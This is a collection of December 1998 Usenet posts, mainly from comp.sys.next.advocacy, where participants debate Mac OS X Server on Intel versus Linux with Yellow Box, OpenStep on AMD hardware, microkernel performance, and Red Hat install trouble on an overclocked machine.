References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet>
jedi@dementia.mishnet wrote in message ...
>c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>>They aren't--but the upper levels of OSX are "portable" so potentally
>>>it could be put on top of Linux.
>>
>>"Potentially" it could be put on top of a PlayStation. The
>>question is: who does it benefit? Not Apple, methinks.
>
> They benefit considerably. Linux users are the market they
> lost becuase their machines were price competitive with new
> pickup trucks and not other microcomputer hardware.
In some ways yes, but mostly I disagree. I just don't see the people who
want Macs selecting Linux because of the added _relative_ complexity.
> Like it or not, a PC user willing to give Linux a second look
> is still the type most likely to do the same for Apple.
This is very true. I'd guess though that those who use Linux do so for its
stability and speed, as well as the open model. (I installed my first
Linux (RH5.0) yesterday and it was pretty straight forward, but there were
several "what the hell am I supposed to do now? Oh... type 'startX'!!!)
If Apple _sold_ a GUI for Linux that gave access to Mac programs (including
easily installing them!) there are many people who'd buy it. Until YB programs
are more common (or Carbon portable), an AppleGUI would still be a good,
clean interface to use Linux with (but would need X windows!)
Apple benefits by selling more software, without the worry about drivers for
the multitude of Intel hardware (though Monitor & monitor card are still important)
Greg
Newsgroups: comp.sys.next.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: Steve Jobs:Potential Time Man of the year
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F49sMG.C5z@bilver.magicnet.netREMOVETHIS>
References: <74vqg3$j6o$1@neon.Mlink.NET>
Date: Sun, 20 Dec 1998 15:35:04 GMT
In article <74vqg3$j6o$1@neon.Mlink.NET>,
Vincent Kohli <cyberbox@mlink.net> wrote:
>Time Magazine is considering Steve Jobs as the next Man of The Year
>
>Every mac/ NeXT advocate should read this article, vote and spread the news:
>http://www.maccentral.com/news/9812/12.time.shtml
>Among Steve Jobs' competition this year are Monica Lewinsky,
^^^^^^^^^^^^^^^
MAN of he year. Maybe it needs to be change to person of the year :-)
--
Bill Vermillion bv @ wjv.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: openstep on non-intel hardware
Date: 20 Dec 98 16:16:25 GMT
Organization: P & L Systems
Message-ID: <367d22d9.0@stan.astra.co.uk>
References: <367C5229.9F98E8BD@netscape.net> <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net>
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Cc: ix@ix.ix
In <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net> ix@ix.ix wrote:
> On 12/19/98, Sam Lee wrote:
> >sorry about the stupid question, i'm new to NeXT
> >
> >would openstep 4.2 (or linux) work on a pc without an intel processor?
> >i only ask because i found a good deal on an amd k6 notebook and was
> >wondering how possible it was to run openstep or linux.
>
> Yes. OpenStep 4.2 Mach is available for Intel.
>
I'm not sure how this answers the question?
Some people have reported success running OPENSTEP on AMDs, however there are
occasional problems, notably with running heavily multi-threaded applications
such as OmniWeb. so feel free to give it a go, but caveat emptor.
On the subject of which:
> You'll have to find a used copy though, I don't think Apple is selling it.
>
Apple (and resellers) are still selling it. It's very expensive, though
($500+ for the user version, although $299 for user and developer for
academics).
mmalc.
From: Sam Lee <smlee4@netscape.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: openstep on non-intel hardware
Date: Sun, 20 Dec 1998 16:56:27 -0800
Organization: Vivid Internet Productions
Message-ID: <367D9CBA.2A0311D7@netscape.net>
References: <367C5229.9F98E8BD@netscape.net> <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net> <367d22d9.0@stan.astra.co.uk>
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NNTP-Posting-Date: 21 Dec 1998 00:56:25 GMT
thanks for the info... it looks like linux may be the way for me to go then.
although if those powerbook g3 prices keep going down and apple gets this osX
thing together.... i'm not sure how much longer i'm willing to wait though.
mmalcolm crawford wrote:
>
>
> Some people have reported success running OPENSTEP on AMDs, however there are
> occasional problems, notably with running heavily multi-threaded applications
> such as OmniWeb. so feel free to give it a go, but caveat emptor.
>
> On the subject of which:
>
> > You'll have to find a used copy though, I don't think Apple is selling it.
> >
> Apple (and resellers) are still selling it. It's very expensive, though
> ($500+ for the user version, although $299 for user and developer for
> academics).
>
> mmalc.
Date: Mon, 21 Dec 1998 21:31:31 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <stevehix-2112982131310001@192.168.1.10>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <stevehix-2012981331250001@192.168.1.10> <75n3c6$ls6@news1.panix.com>
Organization: Close to None
In article <75n3c6$ls6@news1.panix.com>, sal@panix.com wrote:
> On Sun, 20 Dec 1998 13:31:25 -0800, Steve Hix <stevehix@safemail.com> wrote:
> >> > Sun has tried for a mass market desktop a few time and failed, dispite
> >> > having plenty of momentum in other areas.
> >Since when?
> >I've been at Sun now for 13 years, and that's the first I've heard
> >of this.
> >
> >JavaStations don't count, they're aimed at corporate and higher-
> >education markets.
> >
> >Nothing else they sell comes closer than that. (A few people buying
> >Ultra 5's or 10's for their own use doesn't count, either.)
>
> By mass market I am not referring to the consumer segment, I am referring
> to the large mainstream business market.
Sorry, different to most definitions of market segments.
Business, either small- or large- is commercial, not mass market.
> Remember OpenLook, WABI, "Public Windows API", OpenStep and then the CDE? They
> were all hyped (to varying degrees) as what was needed to build up the
> application base needed to push Sun and Unix outside of the traditional unix
> niches and into the mainstream.
>
> I sat in sales meeting where Sun pushed WABI as the best way to run Windows
> Apps in corporate environment.
OK, I'll buy an attempt to go for the corporate market.
> Remember the "low cost" SPARCs like the LX and that SPARC X Terminal (ELC?)
Oh yes...almost as fast as the Mac IIci I used to work at home.
> they were to be the machines that moved Sun outside of the unix market into
> that brave new world.
But still not "mass market".
The Ultra 5 and Ultra 10 are probably going to be quite a bit more
successful in that market, btw, than the examples given. I believe
that they are selling much better than either, anyway.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 20 Dec 1998 23:09:01 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn77r0sd.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost> <75coq3$hfr@news1.panix.com> <FIiROLCWddLd-pn2-tiJticsGbUP7@localhost> <75gipa$llq@news1.panix.com> <FIiROLCWddLd-pn2-OdsbnNVTd0Mz@localhost> <367d6aff.0@stan.astra.co.uk>
NNTP-Posting-Date: 20 Dec 1998 23:09:01 GMT
On 20 Dec 98 21:24:15 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
:99.99% accurate voice recognition doesn't need improved processors, it needs
:fundamental advances in our understanding of how the human auditory system
:works; this is likely to include first a model of how we do "auditory scene
:analysis", followed by an understanding of how speech is processed. There's
:a chance that using good microphones in quiet environments with well-trained
:systems that you'll approach 99.99%, but likely not for the general case.
I doubt even that. 99.99% accurate voice recognition probably requires
fundamental advances in computer understanding of natural language semantics,
something approaching Hard AI.
We interpret similar sounds in different ways because our brains are thinking
about the subjects and what words are likely to occur with them.
When I hear my colleagues speak Russian, I have no clue where words
start and end, and often even sentences, all because I don't know Russian.
That's what voice signals 'sounds like' to a computer.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-CbtRb8ZxVIil@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <367d21c0.0@stan.astra.co.uk>
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Date: 20 Dec 98 23:59:01 GMT
On Sun, 20 Dec 1998 16:11:44, mmalcolm crawford <malcolm@plsys.co.uk>
thought aloud:
> In <FIiROLCWddLd-pn2-dWbOR7wbd7i7@localhost> taiQ wrote:
> > I've also been open to discussing whether the 'real' Mac OS X needs
> > delivery on Intel platform, or whether e.g. advanced-enough YB for
> > Linux or 'YellowHat' could fill those needs at later stage.
> >
> OK. There's an important implicit assumption here, though, namely that the
> key technology is YB, and only YB. We'll come back to this later.
>
> > In the context of that quotation I was arguing with Sal
> > about the relevance of YB for Linux compared to Mac OS X for Intel. I
> > did not argue against doing the MOSX/Intel port but suggested Linux as
> > an alternative or additional Intel offering. One argument against
> > _MOSX-only_ (on Intel) scenario was the hardware support issue you
> > quoted above. Taken out of context such paragraphs can indeed look
> > like anti-MOSX FUD, but there was no danger of that in my discussion
> > with Sal.
> >
> <sigh> Before we start off on the wrong foot again, I was not suggesting that
> it was anti-MOSX FUD;
Nah, I just realized that it could be interpreted that way when taken
off the context. I was implying nuthin'. Really.
> even in context it looks like you weren't aware of the
> existence of Rhapsody/Intel. The paragraph makes more sense given that
> assumption.
I think Sal got the meaning though. We had been discussing about YB
proliferation on Intel side and I think most folks have given up hope
that MOSX Server would be it, for various reasons already well debated
here, so it wasn't part of the discussion.
> > In reply to the message that the quote was lifted from I also received
> > a mention of a toolkit for porting Linux's GPL'd drivers to Mac OS
> > (X?) and while I couldn't find the referred StepWise article the
> > existence of such a toolkit would naturally help Mac OS X's viability
> > on Intel were such port to materialize.
> >
> Not necessarily; as others have mentioned, generally folks wanting to use
> this technology are already in the habit of ensuring that they get Intel
> systems with the right peripherals.
The context was Mac OS X's viability as a mass market Intel platform
vs Linux and the effects of driver support in that respect.
You seem to be talking about Mac OS X/Intel being okay without
all-encompassing driver support for rather specialized markets like
developers, enterprises and power users, am I right? This was
discussed earlier and I've suggested segmented 3-tier offerings with
YB/Linux, Mac OS X (Server or Real) for Intel and Mac OS X for PPC.
> Most of the leading peripherals have
> drivers anyway. The situation improves with the new DriverKit for McOX in
> that apparently it allows considerable code-sharing between drivers written
> for Macs and PCs. Thus any card supported on Macs would likely also be
> supported on PCs.
It was about mass appeal (YB proliferation) on PCs.
> > Releasing the Driver Kit (IOKit?) would IMO be a good idea
> >
> Yes, Apple knows this, that's why it will be released.
>
> > Having the Linux community adopt the Driver Kit would IMO be a major
> > win for Apple.
> >
> I'm not sure how the Linux community would benefit from having the DriverKit?
> It won't be useable with Linux.
I earlier discussions I had suggested that Apple should port
(opensource) DriverKit to Linux thus helping the Linux folks build
drivers more easily while those drivers would also help Mac OS X.
> > Of course, Apple may only wish to port the YB runtime for Linux when
> > resources make themselves available, or to ignore Linux altogether.
> >
> Or perhaps win over the Linux crowd.
That whould be quite a feat... esp. if it means getting the Linux
users to migrate to potentially costly proprietary OS that runs on
proprietary hardware.
> To get back to the point I alluded to at the outset...
>
>
> You seem to be largely assuming that most of what differentiates McOX from
> Linux is the presence of YB, and that other than that they're just two
> Unix-based OSes. Not so, at all. There are significant differences
Umm, have I really expressed myself so poorly? I think I've been
consistent in emphasizing that Mac OS X has its unique selling points
while Linux , even with YB and separately sold commercial enhancements
and add-ons would cater to different market segments.
> throughout, primarily -- insofar as I can tell, given very limited exposure
> to Linux, but with some familiarity with the crucial technologies, such as
> X-windows -- in the consistency of the user experience, and in the ease of
> system management (the former of course derives largely from YB).
>
> Extrapolating from NEXTSTEP, I would expect McOX to offer an unparalleled
> user experience, where basic features such as copy-and-paste of numerous data
> types work seamlessly across all applications; where all applications offer
> true WYSIWYG, and work in a consistent fashion, making it easier to learn a
> new package; where system administration tools are easy enough for grandma to
> be able to cope with setting up a multi-user system. I am not entirely
> convinced that Linux, or indeed any other Unix, will be able to offer this
> level of user experience in anything like the timescale that McOX will.
I have never suggested anything remotely similar to what you're
saying.
> To step back for a moment; one question that is relevant is "Why do folks use
> Linux?" I'm sure some use it in the fond hope of living up to some fort of
> Hacker Ethic; others may have an antipathy to Micro$oft and are seeking an
> alternative; others may be pragmatic and are simply looking for an OS which
> makes best use of the hardware they have at their disposal. For many I'm
> sure it just does what they want. What I'm very much not wanting to do here
> is to try to stereotype Linux users (and I'm certainly not wanting to offend
> anyone, so please don't take offence at this set of categories dreamed up on
> the spur of the moment) -- in fact quite the opposite, I'm sure that Linux
> users represent a diverse group.
>
> Why is this relevant? It may be that there are a number of users who are
> simply looking for [x], where [x] may be an alternative to Micro$oft, an
> easily configurable web server, or whatever, and for whom Linux (or FreeBSD
> or whatever) happens to represent the best alternative at the moment.
> Assuming the continued existence of McOX/Intel, Apple's offering may
> represent a more attractive option for many, and IMHO it is likely that a
> better *business* strategy for Apple than to simply port YB to Linux would be
> to position McOX as a Better Alternative...
Just in case this proloque was also supposed to reflect my
assumptions... it doesn't. And unfortunately it would be too big a
task to try to sum up my "findings so far" right here. It should
suffice to say that I see Linux (with YB and other Apple techs) and
Mac OS X as very complementary products.
And a final note: my recent posts are almost without exception part of
larger discussion mainly with Sal Denaro but with some other
participants as well. In the course of these discussions - which
somehow developed parallel along different threads but still
contributing to the same search of understanding - we have come to
understand each others standpoints on many issues and later it became
unnecessary to repeat the earlier assertions and we simply built our
cases as the discussion advanced. Along the way some personal ideas
have been shaped to reflect the acceptance of contradictory or
complimentary information (or opinions) and there's probably a dash of
devil's advocacy somewhere as well. The point of this being, it is
probably difficult to get a complete and fair picture based on the
postings later in the thread(s) without having followed the discussion
from early on.
Brgds,
--
taiQ
[this space was intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-udEr4HcV572V@localhost>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <FIiROLCWddLd-pn2-l3INZ9lM64Yd@localhost> <75eda5$ufs@ns2.alink.net>
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Date: 20 Dec 98 23:59:13 GMT
On Fri, 18 Dec 1998 20:18:13, msb@plexare.com (Michael S. Barthelemy)
thought aloud:
> pit@iohk.SPAM-NOT.com (taiQ) writes:
> > Mac OS X will be the native son, but yet c.s.n.a is also the home of
> > the Yellow Box which is a platform-agnostic solution (to the extent it
> > is allowed to) and to other Unix-centric technologies not to mention
> > c.s.n.a's becoming an adopted home to other cross-platform
> > technologies such as QTML as well. As a result it may be unnecessary
> > to try differentiating between platforms as long as the discussion is
> > relevant to advancing Mac OS X or related technologies. Anything else
> > and... forget that damn holster... <fumble> FIRE! <g>
>
> I think the problem you are having with us long-time NeXTstepers (using the old
> form) is that you are arguing for a lack of MacOS X on Intel and replacing it
> with Linux/YB. That is simply unacceptable for most of us. We want Mach on
> Intel with however MacOS X Server changes to become MacOS X.
I have been exploring ways to "Rhapsodize" Linux to allow Apple's
technologies to ride the growing Linux wave in a way that is
acceptable to PC and Linux users, OEMs and software developers. I
liken this "riding" to the way MS rode DOS into mainstream. I have
mostly started from the assumption that Apple will not deliver the
"real" Mac OS X on Intel, only for PPC. Just don't blame me for that
scenario! ;-)
You got me curious though... with Mac OS X being optimized for G3 and
G4/Altivec PowerMacs and with the x86 vs PPC system price difference
narrowing - why would it be simply (totally?) unacceptable to most of
'long-time NeXTstepers' to upgrade to a new box a year or so from now
_if_ MOSXS 1.0 remains the end of the line for Intel versions? Why
does it have to be Mach on Intel, not on PPC?
> Given the lineage of MacOS X started on M68k was ported to Intel, HP PA-RISC,
> SPARC and finally to the PowerPC we know that it would not take too much effort
> to keep it there.
I know.
> Finally in regards to drivers (to head off the standard regression) for MacOS X
> I do not care what Intel hardware they support. If they do not support my
> particular cards on an Intel port I will buy whatever is necessary to have my
> machine supported. Buying a new machine now is not an option. I am not
> arguing for a mass-marketed solution only a if-you-must-use Intel option.
I understand. I have tried to approach the _YB proliferation_ issue by
positioning Linux (targetting x86 PCs) as the mass market option with
Mac OS X (PPC) as the Mac upgrade option and the best-of-breed YB and
user experience platform. Whether Apple releases Mac OS X for Intel or
not, it does fit into my scenario as a developer, power user and
enterprise offering, but I can also understand why Apple would prefer
Mac OS X Server/Intel users going directly for a PPC upgrade in late
'99.
> There is a long-standing issue of NeXT developers trusting that the NeXT
> contingent of Apple will do the right thing just as they did at NeXT. I do not
> trust the Linux community in this way.
Yet as new Apple management the former NeXT contingent now have a new
set of responsibilities to fulfill and they're now obliged to do
what's best (in their humble opinions) for Apple. In that game the
former NeXT user base may not carry the weight they used to - witness
YB taking backseat, and a long delay, for Carbon, and other drastic
Macifying. Also, the former NeXT management's native hardware is now
PowerPC so Intel solutions may not enjoy the same priority they did a
few years ago with NeXT.
I'd be curious to know in what respects you feel that the Linux
community cannot be trusted, if you feel it's something more
fundamental than the "out-of-control" appearance of projects that you
describe below.
> In my opinion, the Linux community has vastly more in common with an
> out-of-control everyone going their own way project than the MacOS X team at
> Apple. There is little coherent direction of where Linux is going other than
> in the kernel itself.
The official Linux euphemism for "out-of-control" would probably be
"the survival of the fittest". It may seem chaotic at first and second
sight, but it's also expected to result in the better design
eventually prevailing. It is acknowledged that commercial companies
can often take new projects into completion more efficiently than the
evolutionary open source way does, and this is partly why I would like
to see Apple becoming the Linux user experience of choice.
There are actually some rather interesting essays in the web exploring
the pros and cons of this software darwinism.
Brgds,
--
taiQ
[this space was intentionally blank]
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
From: gbeggs@escape.ca (Gerry Beggs)
Message-ID: <1dkeotl.t2me8r1cg18eeN@tnt02dla090.escape.ca>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <36823c11.41939338@news1.bway.net>
User-Agent: MacSOUP/2.4
Date: Tue, 22 Dec 1998 07:59:46 GMT
NNTP-Posting-Date: Tue, 22 Dec 1998 01:59:46 CDT
Organization: MBnet Networking Inc.
-= G D T =- <root@anarchy.gov> wrote:
> |Unlike Communicator, which takes up about a quarter of your screen
> |with it's interface. What do I need all that crap for? It's just
> |sitting there doing nothing most of the time. Microsoft decided to
> |turn that dead screen space into useful space.
>
> Oh, let me add, Netscape had this fullscreen feature first almost a
> year ago.
Do you know how to get to full screen in Communicator 4.x?
I remember it from 3.x, but It's either no longer there, or the command
has changed.
It used to be command-shift-A or something like that.
--
gbeggs@escape.ca http://www.escape.ca/~gbeggs
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 20 Dec 1998 16:27:19 -0800
References: <FIiROLCWddLd-pn2-l3INZ9lM64Yd@localhost> <75eda5$ufs@ns2.alink.net> <FIiROLCWddLd-pn2-udEr4HcV572V@localhost>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2012981627200001@1cust224.tnt6.redmond.wa.da.uu.net>
> why would it be simply (totally?) unacceptable to most of
>'long-time NeXTstepers' to upgrade to a new box a year or so from now
>_if_ MOSXS 1.0 remains the end of the line for Intel versions? Why
>does it have to be Mach on Intel, not on PPC?
>
Because we have clients in the Enterprise who require second-source hardware,
as well as service and support contracts. See: 'hardware is a company-wide
purchase, software is a departmental purchase' section of the 'Selling
to the Enterprise Manual v0.8' Mach/Intel maintains the support contracts,
and meets the company-wide purchasing requirements.
--
--
regards : colin hand : mailto:ch3@earthlink.net
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: 21 Dec 1998 01:45:19 GMT
Message-ID: <slrn77ra1d.j0k.float@interport.net>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <366bcc63.62862541@news.earthlink.net> <367ce5a2.19125694@news.int-usa.net> <MPG.10e74e9fef3ce35898976a@news.dircon.co.uk> <367d607c.26266616@news.int-usa.net> <36828b2a.43899213@news.dial.pipex.com> <367d90e4.5517276@news.int-usa.net>
NNTP-Posting-Date: 21 Dec 1998 01:45:19 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On Mon, 21 Dec 1998 01:03:20 GMT, John T Maguire <wizard@mousam-river.com>
wrote:
>
>Look, that was in reply to Viper's (or whatever she calls herself now)
>statement that Redhat Linux is a 15 minute install. Linux will not
>install at all on that machine using Redhat 5.1. If you are going to
>jump into the middle of a thread with half an answer, forget it. As I
>said, I need that machine up and running, not a test bed for bad
>script files. I have never said that Linux is bad, I was running it
>several years ago, I'm just saying that Redhat doesn't install on that
>machine - got it?
If Red Hat does install in 15 minutes and painlessly (I have no idea
whether this is the case), the fact that it refuses to do so on a
particular machine running well out of spec is hardly damning. You are
overclocking that machine, yes?
--
Ben
"You have your mind on computers, it seems."
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Sun, 20 Dec 1998 17:40:36 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77r9ok.d7e.jedi@dementia.mishnet>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <366bcc63.62862541@news.earthlink.net> <367ce5a2.19125694@news.int-usa.net> <MPG.10e74e9fef3ce35898976a@news.dircon.co.uk> <367d607c.26266616@news.int-usa.net> <36828b2a.43899213@news.dial.pipex.com> <367d90e4.5517276@news.int-usa.net>
On Mon, 21 Dec 1998 01:03:20 GMT, John T Maguire <wizard@mousam-river.com> wrote:
>On Sun, 20 Dec 1998 23:58:00 GMT, hoggett@airtime.no.spam.co.uk (Bill
>Hoggett) wrote:
>
>>In a fit of advocacy pique wizard@mousam-river.com (John T Maguire)
>>wrote this on the Sun, 20 Dec 1998 22:51:43 GMT:
>>
>>>K6 300 running at 4*87 does nothing but signal 11. It is rock stable
>>>under 98. I am NOT going to reduce the speed, nor can I have it off
>>>line for days while I sort out the problem. Anyone want a Redhat 5.1
>>>cheap?
>>
>>I have it running just fine on a K6 300 at 4*75, since I've found
>>overclocking unreliable overall (it depends hugely on your setup in my
>>experience). If overclocking to get an extra 33Mhz is that important
>>to you, then use whatever is stable, but don't blame the OS for your
>>actions. Certainly don't make wholesale conclusions based on that
>>experience anyway. If I followed the same rules, I'd say that Win98
>>doesn't work with SCSI, just because it resets the machine at bootup
>>if I have any active SCSI devices on the chain. In actual fact, is is
>>much more likely that there is a problem with the actual SCSI driver
>>Win98 uses for my card, so while that makes the OS unsuitable for my
>>particular setup, it is probably OK for the majority of SCSI users.
>
>Look, that was in reply to Viper's (or whatever she calls herself now)
>statement that Redhat Linux is a 15 minute install. Linux will not
>install at all on that machine using Redhat 5.1. If you are going to
>jump into the middle of a thread with half an answer, forget it. As I
>said, I need that machine up and running, not a test bed for bad
>script files. I have never said that Linux is bad, I was running it
>several years ago, I'm just saying that Redhat doesn't install on that
>machine - got it?
Yeah, sure... and the fact that the system is being used
outside of the manufacturers specifications is irrelevant?
Yeah, sure...
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
Message-ID: <367DC47A.1D948B6@scanavia.com>
From: Daniel Gayet <daniel@scanavia.com>
Organization: Scandinavian Flight Academy
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu> <F42G4v.ALL@T-FCN.Net>
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Date: Mon, 21 Dec 1998 03:48:10 GMT
NNTP-Posting-Date: Sun, 20 Dec 1998 19:48:10 PDT
Do microkernel OS's suffer from the same asymptotic point of diminishing returns
as monolithic kernels in multiprocessor hardware? In other words, will I get 4x
the performance from a 4 processor machine if it uses a microkernel, or will I
get maybe only a 3.1x performance increase?
Maury Markowitz wrote:
> In <GOyd2.1558$4w2.6884159@news.itd.umich.edu> "Jin Kim" wrote:
> > However, recently I've been discussing performance issues in comparison to
> > UNIX variants and haven't really been able to show that while OS X does
> > suffer from some performance hit due to microkerneling, it should fair
> > well.
> > I'm always having to retreat b/c the other side points to MkLinux as an
> > example of why microkerneled OS is slow in comparison to monolithic
> > kernel.
> > I do believe that MkLinux implementation isn't where it could be.
> > Nevertheless, MkLinux is quite slow in comparison to LinuxPPC, which is
> > monolithic.
>
> MkLinux is primarily a testbed item and not really built for speed. In
> order to make development "easier" (more modular) the Linux Kernel emulator
> is run as a single user-space task. OpenStep is built to be used, and thus
> the BSD emulator was placed in the kernel's memory space. This will be
> true in the future version if the slides from last year's WWDC are followed.
>
> Maury
From: Kiyoshi Shinomiya <kshinomiya@sprynet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
Date: Sun, 20 Dec 1998 23:55:55 -0800
Organization: Sprynet News Service
Message-ID: <367DFF0F.3E75E65E@sprynet.com>
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu>
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Hi,
The performance depends on what/how you are measuring or how they are
implemented(tuned) if you are talking about actual implementaions.
In general, there are a lot of way to improve performance of microkernel
in order to get better performance. The point is whether the designers
did them or not. It means microkernel can be both faster and slower than
monolithic kernel.
- Kiyoshi
Jin Kim wrote:
>
> Hello,
>
> I was wondering if those who've used NeXTStep in the past could give me an
> objective view on the performance hit due to microkernel. My OS book from
> college describes Mach3.0 as quite fast .It also implies that 4.3BSD on
> Mach3.0 has about the equivalent performance of monolithic 4.3BSD, if not
> better. That lead me to believe that Mach3.0 has enough internal
> performance gain to make up for the performance hit due to layering. I was
> quite concerned about this issue earlier, but later thought it wasn't that
> big of deal.
>
> However, recently I've been discussing performance issues in comparison to
> UNIX variants and haven't really been able to show that while OS X does
> suffer from some performance hit due to microkerneling, it should fair well.
> I'm always having to retreat b/c the other side points to MkLinux as an
> example of why microkerneled OS is slow in comparison to monolithic kernel.
> I do believe that MkLinux implementation isn't where it could be.
> Nevertheless, MkLinux is quite slow in comparison to LinuxPPC, which is
> monolithic.
>
> I've used NeXTStep before, but not enough to be confidant with its
> performance. I have no tangible benchmarks to show that Mach3.0 based OS
> has equivalent or better performance than monolithic OS. Actually the only
> benchmark that I could find was the one between MkLinux and LinuxPPC which
> shows LinuxPPC as being much faster.
>
> So, what are your opinion on this issue? Do any of you have benchmarks of
> NeXTStep/OpenStep vs. monolithic UNIX on similar hardware?
>
> Thank you for your insights.
>
> - Jin
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
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<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
<F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com>
<F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com>
<7477vl$kf5$6@msunews.cl.msu.edu> <36711215.0@stan.astra.co.uk>
<7YCd2.4401$f97.3735@news.rdc1.sdca.home.com> <367ba4fd.0@stan.astra.co.uk>
